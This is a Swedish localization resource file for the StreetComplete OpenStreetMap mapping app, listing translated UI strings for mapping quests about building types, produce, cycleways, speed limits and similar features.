<string name="quest_streetName_menuItem_nolanguage">"(ospecificerad)"</string>
<!-- Fuzzy -->
<string name="quest_fireHydrant_type_title">"Vilken typ av brandpost är det här?"</string>
<!-- Fuzzy -->
<string name="quest_fireHydrant_type_pillar">"Pelare"</string>
<!-- Fuzzy -->
<string name="quest_fireHydrant_type_underground">"Underjordisk"</string>
<!-- Fuzzy -->
<string name="quest_fireHydrant_type_wall">"Väggmonterat"</string>
<!-- Fuzzy -->
<string name="quest_fireHydrant_type_pond">"Damm"</string>
<!-- Fuzzy -->
<string name="credits_contributors">"Se <a href=\"https://github.com/westnordost/StreetComplete/graphs/contributors\">hela listan på GitHub</a>."</string>
<!-- Fuzzy -->
<string name="credits_translations">"Se <a href=\"https://poeditor.com/projects/view?id=97843\">projekt på POEditor</a> för en fullständig lista."</string>
<!-- Fuzzy -->
<string name="credits_translations_title">"Översättningar"</string>
<!-- Fuzzy -->
<string name="credits_contributors_title">"Kodbidragsgivare"</string>
<!-- Fuzzy -->
<string name="credits_author_title">"Författare och underhållare"</string>
<!-- Fuzzy -->
<string name="credits_and_more">"och mer..."</string>
<!-- Fuzzy -->
<string name="quest_maxspeed_answer_living_street">"Det är gångfartsområde"</string>
<!-- Fuzzy -->
<string name="quest_maxspeed_answer_living_street_confirmation_title">"Så det finns en skylt som ser ut så här?"</string>
<!-- Fuzzy -->
<string name="quest_orchard_produce_title">"Vad odlas här?"</string>
<!-- Fuzzy -->
<string name="produce_grapes">"Vindruvor"</string>
<!-- Fuzzy -->
<string name="produce_agaves">"Agave"</string>
<!-- Fuzzy -->
<string name="produce_almonds">"Mandlar"</string>
<!-- Fuzzy -->
<string name="produce_apples">"Äpplen"</string>
<!-- Fuzzy -->
<string name="produce_apricots">"Aprikoser"</string>
<string name="produce_avocados">"Avokado"</string>
<!-- Fuzzy -->
<string name="produce_bananas">"Bananer"</string>
<!-- Fuzzy -->
<string name="produce_blueberries">"Blåbär"</string>
<!-- Fuzzy -->
<string name="produce_cacao">"Kakaobönor"</string>
<!-- Fuzzy -->
<string name="produce_cashew_nuts">"Cashewnötter"</string>
<!-- Fuzzy -->
<string name="produce_cherries">"Körsbär"</string>
<!-- Fuzzy -->
<string name="produce_chestnuts">"Kastanjer"</string>
<!-- Fuzzy -->
<string name="produce_coconuts">"Kokosnötter"</string>
<!-- Fuzzy -->
<string name="produce_coffee">"Kaffebönor"</string>
<string name="produce_cranberries">"Tranbär"</string>
<!-- Fuzzy -->
<string name="produce_dates">"Dadlar"</string>
<!-- Fuzzy -->
<string name="produce_figs">"Fikon"</string>
<!-- Fuzzy -->
<string name="produce_grapefruits">"Grapefrukt"</string>
<!-- Fuzzy -->
<string name="produce_guavas">"Guava"</string>
<!-- Fuzzy -->
<string name="produce_hazelnuts">"Hasselnötter"</string>
<!-- Fuzzy -->
<string name="produce_hops">"Humle"</string>
<string name="produce_jojoba">"Jojoba"</string>
<string name="produce_kiwis">"Kiwi"</string>
<!-- Fuzzy -->
<string name="produce_kola_nuts">"Kolanötter"</string>
<!-- Fuzzy -->
<string name="produce_lemons">"Citroner"</string>
<!-- Fuzzy -->
<string name="produce_limes">"Lime"</string>
<!-- Fuzzy -->
<string name="produce_mangos">"Mango"</string>
<string name="produce_mate">"Mate"</string>
<!-- Fuzzy -->
<string name="produce_nutmeg">"Muskotnötter"</string>
<!-- Fuzzy -->
<string name="produce_oil_palms">"Oljepalmer"</string>
<!-- Fuzzy -->
<string name="produce_olives">"Oliver"</string>
<!-- Fuzzy -->
<string name="produce_oranges">"Appelsiner"</string>
<string name="produce_papayas">"Papaya"</string>
<!-- Fuzzy -->
<string name="produce_peaches">"Persikor"</string>
<!-- Fuzzy -->
<string name="produce_pears">"Päron"</string>
<string name="produce_chili">"Chili"</string>
<!-- Fuzzy -->
<string name="produce_persimmons">"Persimmons"</string>
<!-- Fuzzy -->
<string name="produce_pineapples">"Ananas"</string>
<!-- Fuzzy -->
<string name="produce_pepper">"Peppar"</string>
<!-- Fuzzy -->
<string name="produce_pistachios">"Pistasch"</string>
<!-- Fuzzy -->
<string name="produce_plums">"Plommom"</string>
<!-- Fuzzy -->
<string name="produce_raspberries">"Hallon"</string>
<!-- Fuzzy -->
<string name="produce_rubber">"Gummi"</string>
<!-- Fuzzy -->
<string name="produce_strawberries">"Jordgubbar"</string>
<!-- Fuzzy -->
<string name="produce_tea">"Te"</string>
<!-- Fuzzy -->
<string name="produce_vanilla">"Vanilj"</string>
<!-- Fuzzy -->
<string name="produce_walnuts">"Valnötter"</string>
<string name="produce_sisal">"Sisal"</string>
<!-- Fuzzy -->
<string name="quest_way_lit_title">"Har den här delen av vägen belysning?"</string>
<!-- Fuzzy -->
<string name="quest_way_lit_named_title">"Har %s belysning här?"</string>
<!-- Fuzzy -->
<string name="quest_way_lit_road_title">"Har den här delen av vägen belysning?"</string>
<!-- Fuzzy -->
<string name="quest_way_lit_automatic">"Den använder rörelsedetektion"</string>
<!-- Fuzzy -->
<string name="quest_way_lit_24_7">"Det är belyst dygnet runt."</string>
<!-- Fuzzy -->
<string name="cannot_find_bbox_or_reduce_tilt">"Kan inte söka här. Försök att zooma in ytterligare eller minska kartans lutning."</string>
<!-- Fuzzy -->
<string name="quest_crossing_type_title">"Vilken typ av övergångsställe är det här?"</string>
<!-- Fuzzy -->
<string name="quest_crossing_type_signals">"Övergångsställe med trafikljus"</string>
<!-- Fuzzy -->
<string name="quest_crossing_type_uncontrolled">"Övergångsställe utan trafikljus"</string>
<!-- Fuzzy -->
<string name="quest_crossing_type_unmarked">"Övergångsställe utan vägmarkeringar"</string>
<string name="compass_north_one_letter">"N"</string>
<!-- Fuzzy -->
<string name="action_undo">"Ångra"</string>
<!-- Fuzzy -->
<string name="undo_confirm_title">"Ångra det senaste svaret?"</string>
<!-- Fuzzy -->
<string name="produce_mangosteen">"Mangostan"</string>
<!-- Fuzzy -->
<string name="produce_tomatoes">"Tomater"</string>
<!-- Fuzzy -->
<string name="produce_areca_nuts">"Arekanötter"</string>
<!-- Fuzzy -->
<string name="produce_sweet_peppers">"Paprika"</string>
<!-- Fuzzy -->
<string name="produce_brazil_nuts">"Paranötter"</string>
<!-- Fuzzy -->
<string name="produce_tung_nuts">"Tungnötter"</string>
<!-- Fuzzy -->
<string name="quest_parkingType_title">"Vilken typ av parkering är det här?"</string>
<!-- Fuzzy -->
<string name="quest_parkingType_surface">"Parkeringsplats"</string>
<!-- Fuzzy -->
<string name="quest_parkingType_underground">"Underjordisk parkering"</string>
<!-- Fuzzy -->
<string name="quest_parkingType_multiStorage">"Parkeringshus"</string>
<!-- Fuzzy -->
<string name="quest_toiletAvailability_name_title">"Finns det en toalett på %s?"</string>
<!-- Fuzzy -->
<string name="quest_powerPolesMaterial_title">"Vad är den här ledningsstolpen gjord av?"</string>
<!-- Fuzzy -->
<string name="quest_powerPolesMaterial_wood">"Trä"</string>
<!-- Fuzzy -->
<string name="quest_powerPolesMaterial_metal">"Stål"</string>
<!-- Fuzzy -->
<string name="quest_powerPolesMaterial_concrete">"Betong"</string>
<!-- Fuzzy -->
<string name="quest_maxspeed_answer_advisory_speed_limit">"Enbart rekommenderad hastighet…"</string>
<!-- Fuzzy -->
<string name="quest_address_answer_house_name">"Inget husnummer men ett namn…"</string>
<!-- Fuzzy -->
<string name="quest_address_house_name_label">"Husnamn:"</string>
<!-- Fuzzy -->
<string name="quest_buildingLevels_roofLevelsLabel2">"takvåningar"</string>
<!-- Fuzzy -->
<string name="quest_buildingLevels_levelsLabel2">"vanliga våningar (räknar inte takvåningar)"</string>
<!-- Fuzzy -->
<string name="quest_buildingLevels_answer_multipleLevels">"Varierar mellan olika husdelar"</string>
<!-- Fuzzy -->
<string name="quest_buildingLevels_answer_description">"I sådana fall, fyll i värdet för den högsta husdelen"</string>
<!-- Fuzzy -->
<string name="unglue_hint">"Tryck för att lossa vy från position"</string>
<!-- Fuzzy -->
<string name="quest_maxspeed_answer_noSign_singleOrDualCarriageway_description">"Är körbanorna fysiskt separerade (till exempel genom en barriär)? Bashastigheten beror på om så är fallet eller inte."</string>
<string name="about_category_feedback">"Återkoppling"</string>
<!-- Fuzzy -->
<string name="quest_leave_new_note_photo">"Bifoga foto"</string>
<!-- Fuzzy -->
<string name="quest_leave_new_note_photo_delete_title">"Vill du ta bort den här bilden?"</string>
<!-- Fuzzy -->
<string name="quest_cycleway_value_track">"separat cykelbana"</string>
<!-- Fuzzy -->
<string name="quest_cycleway_value_lane">"cykelkörfält"</string>
<!-- Fuzzy -->
<string name="quest_cycleway_value_none">"ingen"</string>
<!-- Fuzzy -->
<string name="quest_cycleway_value_shared">"cykelkörfält delad med annan trafik"</string>
<!-- Fuzzy -->
<string name="quest_cycleway_value_bus_lane">"på busskörfältet"</string>
<!-- Fuzzy -->
<string name="quest_cycleway_value_sidewalk">"gång- och cykelbana"</string>
<!-- Fuzzy -->
<string name="quest_leave_new_note_create_image_error">"Fel vid skapandet av foto"</string>
<!-- Fuzzy -->
<string name="quest_cycleway_value_lane_dual">"cykelkörfält, båda riktningarna"</string>
<!-- Fuzzy -->
<string name="quest_cycleway_value_track_dual">"separat cykelbana, båda riktningarna"</string>
<!-- Fuzzy -->
<string name="quest_cycleway_value_sidewalk_allowed">"ingen, men cyklister är tillåtna på trottoaren"</string>
<!-- Fuzzy -->
<string name="pref_category_advanced">"Avancerat"</string>
<!-- Fuzzy -->
<string name="pref_title_quests">"Val av uppdrag"</string>
<!-- Fuzzy -->
<string name="quest_enabled">"Aktiverad"</string>
<!-- Fuzzy -->
<string name="quest_type">"Uppdrag"</string>
<!-- Fuzzy -->
<string name="action_reset">"Återställ"</string>
<!-- Fuzzy -->
<string name="reorder_quest_priority_hint">"Håll in och flytta ett uppdrag för att ändra dess prioritering av nedladdning och visning på kartan."</string>
<!-- Fuzzy -->
<string name="undo_confirm_positive">"Ångra"</string>
<!-- Fuzzy -->
<string name="undo_confirm_negative">"Avbryt"</string>
<!-- Fuzzy -->
<string name="quest_dietType_vegetarian_name_title">"Har %s vegetariska rätter på menyn?"</string>
<!-- Fuzzy -->
<string name="quest_dietType_vegan_name_title">"Har %s veganska rätter på menyn? "</string>
<!-- Fuzzy -->
<string name="quest_hasFeature_only">"Enbart"</string>
<!-- Fuzzy -->
<string name="quest_dietType_explanation_vegan">"Veganska rätter innehåller inga animaliska produkter (inget kött, inga mjölkprodukter, inga ägg, ...). "</string>
<!-- Fuzzy -->
<string name="quest_dietType_explanation_vegetarian">"Vegetariska rätter innehåller inget kött."</string>
<!-- Fuzzy -->
<string name="quest_dietType_explanation">"Svara enbart ja om platsen erbjuder fullvärdiga måltidsalternativ för den här dieten - inte till exempel enbart förrätter."</string>
<!-- Fuzzy -->
<string name="quest_carWashType_title">"Vilken typ av biltvätt är det här?"</string>
<!-- Fuzzy -->
<string name="quest_carWashType_automated">"Automatisk"</string>
<!-- Fuzzy -->
<string name="quest_carWashType_selfService">"Självservice"</string>
<!-- Fuzzy -->
<string name="quest_carWashType_service">"Anställda tvättar bilen"</string>
<!-- Fuzzy -->
<string name="enable_quest_confirmation_title">"Aktivera det här uppdraget? "</string>
<!-- Fuzzy -->
<string name="default_disabled_msg_go_inside">"Frågan är avaktiverad i utgångsläget då du troligtvis behöver gå inomhus för att svara på frågor av den här typen."</string>
<!-- Fuzzy -->
<string name="quest_housenumber_conscription_number">"Konskriptionsnummer"</string>
<!-- Fuzzy -->
<string name="quest_housenumber_street_number_optional">"Orienteringsnummer (valfritt)"</string>
<!-- Fuzzy -->
<string name="quest_cycleway_answer_contraflow_cycleway">"Även cykelbana på andra sidan…"</string>
<!-- Fuzzy -->
<string name="quest_openingHours_emptyAnswer">"Beskriv vad som står på skylten. Saknas skylt, fråga om öppettiderna."</string>
<!-- Fuzzy -->
<string name="quest_cycleway_value_none_but_no_oneway">"Inga, men cyklister får cykla i båda riktningarna"</string>
<!-- Fuzzy -->
<string name="quest_streetName_answer_noName_question">"Varför har den inget namn?"</string>
<!-- Fuzzy -->
<string name="quest_streetName_answer_noProperStreet_service2">"Det är en uppfart, parkeringsväg eller liknande"</string>
<!-- Fuzzy -->
<string name="quest_streetName_answer_noProperStreet_track2">"Det är en traktor- eller skogsväg"</string>
<!-- Fuzzy -->
<string name="quest_streetName_answer_noName_noname">"Inget av ovanstående, den har helt enkelt inget namn"</string>
<!-- Fuzzy -->
<string name="quest_wheelchairAccess_toilets_title">"Är de här toaletterna tillgängliga med rullstol?"</string>
<!-- Fuzzy -->
<string name="quest_wheelchairAccess_toilets_name_title">"Är toaletterna %s tillgängliga med rullstol?"</string>
<!-- Fuzzy -->
<string name="quest_wheelchairAccess_description_toilets">"Om toaletten är tillgänglig för rullstolsanvändare finns det oftast en sådan skylt.
Delvis betyder att rullstolsanvändare kan komma in och använda toaletten men att det inte finns stödhandtag eller anpassad tvättho."</string>
<!-- Fuzzy -->
<string name="map_btn_create_note">"Skapa en ny anteckning"</string>
<!-- Fuzzy -->
<string name="create_new_note_unprecise">"Zooma in ytterligare för att skapa en anteckning"</string>
<!-- Fuzzy -->
<string name="create_new_note_description">"Du har möjlighet att lämna en offentlig anteckning på platsen som andra kartläggare kan kommentera och förhoppningsvis avgöra. Justera anteckningens position genom att flytta kartan."</string>
<!-- Fuzzy -->
<string name="pref_title_quests_invalidation">"Töm cache för uppdrag"</string>
<!-- Fuzzy -->
<string name="pref_title_quests_invalidation_summary">"Användbart om du misstänker att några av uppdragen är gamla"</string>
<!-- Fuzzy -->
<string name="invalidate_confirmation">"Töm"</string>
<!-- Fuzzy -->
<string name="invalidation_dialog_message">"Om du tömmer cachen för uppdrag kommer uppdragen att uppdateras nästa gång du laddar ner dem. Cachen töms automatiskt efter en vecka eller om ett uppdrag du har löst redan visar sig vara löst av någon annan."</string>
<!-- Fuzzy -->
<string name="quest_generic_looks_like_this">"Ser vanligtvis ut så här:"</string>
<!-- Fuzzy -->
<string name="quest_surface_value_metal">"Metall"</string>
<!-- Fuzzy -->
<string name="quest_cycleway_title2">"Finns det en cykelväg här? Vilken typ?"</string>
<!-- Fuzzy -->
<string name="quest_bridge_structure_title">"Vilken typ av bro är det här?"</string>
<!-- Fuzzy -->
<string name="quest_internet_access_name_title">"Vilken typ av internetuppkoppling erbjuder %s?"</string>
<!-- Fuzzy -->
<string name="quest_internet_access_wlan">"Wi-Fi"</string>
<!-- Fuzzy -->
<string name="quest_internet_access_wired">"Kabel (LAN)"</string>
<!-- Fuzzy -->
<string name="quest_internet_access_terminal">"Dator med tillgång till internet"</string>
<!-- Fuzzy -->
<string name="quest_internet_access_no">"Ingen uppkoppling"</string>
<!-- Fuzzy -->
<string name="quest_busStopShelter_tram_name_title">"Har spårvagnshållplatsen %s ett regnskydd?"</string>
<!-- Fuzzy -->
<string name="quest_busStopShelter_tram_title">"Har den här spårvagnshållplatsen ett regnskydd?"</string>
<!-- Fuzzy -->
<string name="quest_bench_backrest_title">"Har den här bänken ett ryggstöd?"</string>
<!-- Fuzzy -->
<string name="quest_bench_answer_picnic_table">"Det är ett picknickbord"</string>
<!-- Fuzzy -->
<string name="quest_religion_for_place_of_worship_title">"Vilken religion utövas här?"</string>
<!-- Fuzzy -->
<string name="quest_religion_christian">"Kristendom"</string>
<string name="quest_religion_muslim">"Islam"</string>
<!-- Fuzzy -->
<string name="quest_religion_hindu">"Hinduism"</string>
<!-- Fuzzy -->
<string name="quest_religion_buddhist">"Buddhism"</string>
<!-- Fuzzy -->
<string name="quest_religion_shinto">"Shintoism"</string>
<!-- Fuzzy -->
<string name="quest_religion_jewish">"Judendom"</string>
<!-- Fuzzy -->
<string name="quest_religion_taoist">"Taoism"</string>
<!-- Fuzzy -->
<string name="quest_religion_for_place_of_worship_answer_multi">"Alla religioner kan praktiseras"</string>
<!-- Fuzzy -->
<string name="quest_religion_sikh">"Sikhism"</string>
<!-- Fuzzy -->
<string name="quest_religion_jain">"Jainism"</string>
<!-- Fuzzy -->
<string name="quest_religion_bahai">"Bahá'í"</string>
<!-- Fuzzy -->
<string name="quest_religion_caodaist">"Cao Ðài"</string>
<!-- Fuzzy -->
<string name="quest_religion_chinese_folk">"Kinesisk folkreligion"</string>
<!-- Fuzzy -->
<string name="quest_religion_for_wayside_shrine_title">"Vilken religion praktiseras vid den här helgedomen?"</string>
<!-- Fuzzy -->
<string name="quest_parking_fee_title">"Kostar det att parkera här?"</string>
<!-- Fuzzy -->
<string name="quest_cycleway_value_lane_soft">"cykelkörfält (streckad markering)"</string>
<!-- Fuzzy -->
<string name="quest_surface_value_unhewn_cobblestone">"Ohuggen kullersten "</string>
<!-- Fuzzy -->
<string name="quest_parking_access_title">"Är det reglerat vem som får parkera här?"</string>
<!-- Fuzzy -->
<string name="quest_parking_access_private">"Parkeringen är privat"</string>
<!-- Fuzzy -->
<string name="quest_parking_access_yes">"Parkeringen är offentlig (med eller utan avgift)"</string>
<!-- Fuzzy -->
<string name="quest_parking_access_customers">"Parkeringen är enbart för kunder"</string>
<!-- Fuzzy -->
<string name="quest_streetName_pedestrian_title">"Vad är namnet på den här gågatan?"</string>
<!-- Fuzzy -->
<string name="quest_streetSurface_square_title">"Vilket underlag har det här torget?"</string>
<!-- Fuzzy -->
<string name="quest_streetSurface_square_name_title">"Vilket underlag har torget %s här?"</string>
<!-- Fuzzy -->
<string name="quest_fee_answer_hours">"Beror på tid och dag…"</string>
<!-- Fuzzy -->
<string name="quest_fee_add_times">"Lägg till klockslag"</string>
<!-- Fuzzy -->
<string name="quest_fee_only_at_hours">"Ja, men enbart..."</string>
<!-- Fuzzy -->
<string name="quest_fee_not_at_hours">"Ja, men inte..."</string>
<!-- Fuzzy -->
<string name="quest_fee_hours_title">"följande klockslag:"</string>
<!-- Fuzzy -->
<string name="quest_busStopName_title">"Vad heter den här busshållplatsen?"</string>
<!-- Fuzzy -->
<string name="quest_tramStopName_title">"Vad heter den här spårvagnshållplatsen?"</string>
<!-- Fuzzy -->
<string name="quest_housenumber_multiple_numbers">"Den har flera husnummer"</string>
<!-- Fuzzy -->
<string name="quest_housenumber_multiple_numbers_description">"Du kan fylla i husnummer separerade med komman eller i intervall separerade med bindesträck. Till exempel 1,3 eller 2-6. "</string>
<!-- Fuzzy -->
<string name="quest_bicycle_parking_type_stand">"Ställ"</string>
<!-- Fuzzy -->
<string name="quest_bicycle_parking_type_wheelbender">"Framhjulsställ"</string>
<!-- Fuzzy -->
<string name="quest_bicycle_parking_type_shed">"Skjul"</string>
<!-- Fuzzy -->
<string name="quest_bicycle_parking_type_locker">"Skåp"</string>
<!-- Fuzzy -->
<string name="quest_bicycle_parking_type_building">"Byggnad"</string>
<!-- Fuzzy -->
<string name="quest_bicycle_parking_type_title">"Vilken typ av cykelparkering är det här?"</string>
<!-- Fuzzy -->
<string name="quest_cycleway_value_suggestion_lane">"cykelkörfält (uppmaning)"</string>
<!-- Fuzzy -->
<string name="quest_postboxCollectionTimes_title">"Vad har den här brevlådan för tömningstider?"</string>
<!-- Fuzzy -->
<string name="quest_collectionTimes_add_times">"Lägg till tömningstid"</string>
<!-- Fuzzy -->
<string name="quest_collectionTimes_answer_no_times_specified">"Tömningstid är inte specificerad"</string>
<!-- Fuzzy -->
<string name="quest_construction_road_title">"Är den här vägen färdigställd?"</string>
<!-- Fuzzy -->
<string name="quest_construction_cycleway_title">"Är den här cykelvägen färdigställd?"</string>
<!-- Fuzzy -->
<string name="quest_construction_footway_title">"Är den här gångvägen färdigställd?"</string>
<!-- Fuzzy -->
<string name="quest_construction_generic_title">"Är den här vägen färdigställd?"</string>
<!-- Fuzzy -->
<string name="quest_construction_building_title">"Är den här byggnaden färdigställd?"</string>
<!-- Fuzzy -->
<string name="questList_disabled_in_country">"Visas aldrig i %s"</string>
<!-- Fuzzy -->
<string name="quest_toiletAvailability_rest_area_title">"Har den här rastplatsen en toalett?"</string>
<!-- Fuzzy -->
<string name="quest_pathSurface_title_steps">"Vilket underlag har den här trappan här?"</string>
<!-- Fuzzy -->
<string name="quest_pathSurface_title_bridleway">"Vilket underlag har den här ridvägen här?"</string>
<!-- Fuzzy -->
<string name="quest_pathSurface_title">"Vilket underlag har den här vägen här?"</string>
<!-- Fuzzy -->
<string name="quest_select_hint_most_specific">"Välj det mest detaljerade svaret som passar:"</string>
<!-- Fuzzy -->
<string name="quest_generic_item_confirmation">"Är du säker på att du inte kan svara mer specifikt?"</string>
<!-- Fuzzy -->
<string name="privacy_html_third_party_quest_sources">"<p>För några uppdrag kommer tilläggsdata från tredje part att hämtas. Sökningen efter uppdrag om enkelriktade gator använder ett API på westnordost.de för att hitta kandidater för enkelriktad körning.</p>"</string>
<!-- Fuzzy -->
<string name="quest_generic_hasFeature_no_leave_note">"Nej (lämna anteckning)"</string>
<!-- Fuzzy -->
<string name="pref_quests_reset">"Vill du nollställa både uppdrag och ordningsföljd?"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_title2">"Vad uppfördes den här byggnaden som?"</string>
<!-- Fuzzy -->
<string name="quest_generic_item_invalid_value">"Var god lämna ett mer specifikt svar"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_answer_multiple_types">"Den har flera ändamål"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_answer_multiple_types_description">"Välj huvudändamålet för den här byggnaden. T.ex om det finns en affär på bottenvåningen med lägenheter ovanför sig är det fortsatt i huvudsak ändå ett flerfamiljshus."</string>
<!-- Fuzzy -->
<string name="quest_buildingType_answer_construction_site">"Den är fortfarande under konstruktion"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_residential">"Bostad"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_residential_description">"byggnad där människor bor"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_house">"Hus"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_house_description">"enfamiljshus, även enskilt radhus"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_apartments_description">"lägenheter, kan ha affärer på bottenvåningen"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_apartments">"Flerfamiljshus"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_detached">"Villa"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_detached_description">"fristående enfamiljshus"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_semi_detached">"Parhus"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_semi_detached_description">"ett hus delat i två, för två familjer"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_terrace_description">"flera bredvid varandra liggande enfamiljshus"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_hotel">"Hotellbyggnad"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_dormitory">"Studenthem/internat"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_houseboat">"Husbåt"</string>
<string name="quest_buildingType_bungalow">"Bungalow"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_bungalow_description">"litet fristående hus, ofta med veranda (sommarstuga eller liknande)"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_static_caravan">"Stående husvagn"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_commercial">"Kommersiell byggnad"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_commercial_generic_description">"byggnad där människor arbetar, handlar eller driver annan näringsverksamhet"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_industrial">"Industribyggnad"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_industrial_description">"t.ex en fabrik, verkstad, bilverkstad, ..."</string>
<!-- Fuzzy -->
<string name="quest_buildingType_office">"Kontorsbyggnad"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_retail">"Affär(er)"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_warehouse">"Lagerbyggnad"</string>
<string name="quest_buildingType_kiosk">"Fristående kiosk"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_storage_tank">"Lagringstank"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_religious">"Religiös byggnad"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_church">"Kyrka"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_chapel">"Kapell"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_cathedral">"Katedral"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_mosque">"Moské"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_temple">"Tempelbyggnad"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_pagoda">"Pagod"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_synagogue">"Synagoga"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_civic">"Offentlig byggnad"</string>
<!-- Hm. English is not my mother tongue but is 'amenity' really used this way that much outside the OSM community? Hard to translate to Swedish anyway, hehe. -->
<!-- Fuzzy -->
<string name="quest_buildingType_civic_description">"offentlig byggnad som oftast inrymmer offentlig verksamhet"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_kindergarten">"Förskolebyggnad"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_school">"Skolbyggnad"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_college">"Högskolebyggnad"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_hospital">"Sjukhusbyggnad"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_stadium">"Idrottsarena"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_train_station">"Tågstation"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_transportation">"Kollektivtrafiksbyggnad"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_university">"Universitetsbyggnad"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_government">"Myndighetsbyggnad"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_cars">"För bilar"</string>
<string name="quest_buildingType_carport">"Carport"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_carport_description">"tak för en bil"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_garage">"Garage för en bil"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_garages">"Flera garage"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_parking">"Parkeringshus"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_farm">"På en bondgård"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_farmhouse">"Manbyggnad"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_farmhouse_description">"den byggnad man bor i på en bondgård"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_farm_auxiliary">"Ekonomibyggnad"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_farm_auxiliary_description">"byggnad på en bondgård som inte är bostadshus"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_greenhouse">"Växthus"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_other">"Annat"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_shed">"Skjul/förråd"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_hut">"Hydda"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_hut_description">"liten, enkel bostad eller skydd"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_roof">"Tak"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_service">"Servicebyggnad"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_service_description">"byggnad med pumpar, transformatorer eller liknande maskiner"</string>
<string name="quest_buildingType_hangar">"Hangar"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_hangar_description">"stor byggnad för flygplan, helikoptrar eller rymdfarkoster"</string>
<string name="quest_buildingType_bunker">"Bunker"</string>
<!-- Fuzzy -->
<string name="quest_address_answer_no_housenumber">"Den har inget husnummer…"</string>
<!-- Fuzzy -->
<string name="quest_address_answer_no_housenumber_message1">"Byggnaden är definierad som:"</string>
<!-- Fuzzy -->
<string name="quest_address_answer_no_housenumber_message2">"Är det korrekt och det är inte enbart en del av en byggnad?"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_shrine">"Helgedom"</string>
<!-- Fuzzy -->
<string name="quest_maxspeed_title_short2">"Vad har den här gatan för hastighetsbegränsning?"</string>
<!-- Fuzzy -->
<string name="quest_maxspeed_answer_sign">"En skylt"</string>
<!-- Fuzzy -->
<string name="quest_maxspeed_answer_zone2">"Det är inom ett (gångfarts)område."</string>
<!-- Fuzzy -->
<string name="quest_maxspeed_answer_noSign2">"Ingen skylt, bashastighet gäller"</string>
<!-- Fuzzy -->
<string name="quest_openingHours_no_sign">"Ingen öppet tider-skylt"</string>
<!-- Fuzzy -->
<string name="quest_maxspeed_name_title2">"Vilken är hastighetsbegränsningen för %s här?"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_sports_centre">"Idrottsanläggning"</string>
<!-- Fuzzy -->
<string name="quest_buildingType_toilets">"Toalett"</string>
<!-- Fuzzy -->
<string name="quest_maxspeed_sign_question">"Vad bestämmer maxhastigheten?"</string>
<string name="notification_channel_download">"Hämta"</string>
<!-- Fuzzy -->
<string name="quest_playground_access_title">"Är den här lekplatsen tillgänglig för allmänheten?"</string>
<!-- Fuzzy -->
<string name="quest_segregated_title">"Hur är gångbanan och cykelvägen utformade här?"</string>
<!-- Fuzzy -->
<string name="dialog_tutorial_upload">"För att ladda upp ändringarna manuellt, klicka på knappen som ser ut så här"</string>
<!-- Fuzzy -->
<string name="quest_segregated_separated">"Separerade från varandra"</string>
<!-- Fuzzy -->
<string name="quest_segregated_mixed">"Cyklister och gångtrafikanter delar bana"</string>
<!-- Fuzzy -->
<string name="quest_maxheight_title">"Vad är maxhöjden här?"</string>
<!-- Fuzzy -->
<string name="quest_maxheight_parking_entrance_title">"Vad är höjdbegränsningen vid entrén till garaget?"</string>
<!-- Fuzzy -->
<string name="quest_maxheight_height_restrictor_title">"Vilken är höjdbegränsningen?"</string>
<!-- Fuzzy -->
<string name="quest_maxheight_tunnel_title">"Vad är maxhöjden för denna tunnel?"</string>
